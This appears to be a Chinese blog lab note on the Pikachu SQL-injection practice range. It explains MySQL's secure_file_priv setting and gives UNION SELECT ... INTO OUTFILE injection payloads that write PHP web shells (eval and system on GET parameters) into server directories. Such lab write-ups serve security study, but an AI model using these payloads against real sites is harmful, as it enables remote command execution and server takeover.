Pikachu-Sql-Inject - 通过sql进行远程服务器控制(试验)

secure_file_priv是MySQL中的系统变量,用于限制文件的读取和写入。

查看命令:

show variables like "secure%" 
//或者
select @@secure_file_priv;

1.secure_file_priv = NULL ,限制文件的读取和写入。

2.secure_file_priv = 文件路径 ,限制文件的读取和写入只能在设定的文件夹中。

3.secure_file_priv= "", 对文件和读取和写入没有任何限制。

into outfile ,将select 的结果写入到指定的文件中;

vince' union select " <?php @eval($_GET['test'])?>",2 into outfile "/var/www/html/1.php"#
vince' union select " <?php system($_GET['cmd'])?>",2 into outfile "/var/www/html/2.php"#

//构造sql
vince' union select " <?php system($_GET['cmd'])?>",2 into outfile "/var/lib/mysql-files/2.php"#

执行sql语句

进入到服务器目录下,看到文件已生成;

这个实验有三个前提条件:

1、需要知道远程服务器的文件目录;

2、需要该目录有写权限;

3、需要数据库开启secure_file_priv权限;

相关推荐
AI人H哥会Java7 分钟前
【PostgreSQL】运维篇—— 实战案例分析:从需求到实现
运维·数据库·sql·postgresql
我的运维人生38 分钟前
Android架构组件MVVM模式的实战应用与数据绑定技巧
android·架构·运维开发·技术共享
沙振宇3 小时前
【Linux】Ubuntu20.04上使用RabbitVCS的图形化SVN
linux·运维·服务器
zeroner_3 小时前
【SQL】DDL语句
数据库·sql·mysql
七折困3 小时前
DBMS-3.2 SQL(2)——DML的SELECT(含WHERE、聚集函数、GROUP BY、HAVING之间的关系)
数据库·sql·mysql
丶21363 小时前
【SQL】掌握SQL查询技巧:数据分组与排序
数据库·后端·sql
直爽的鸭蛋3 小时前
网页打不开、找不到服务器IP地址
运维·服务器·tcp/ip
atlanteep3 小时前
Linux·进程概念(下)
linux·运维·服务器
Mr_Xuhhh4 小时前
数据结构阶段测试2的一点小补充
android·开发语言·汇编·数据结构·c++·算法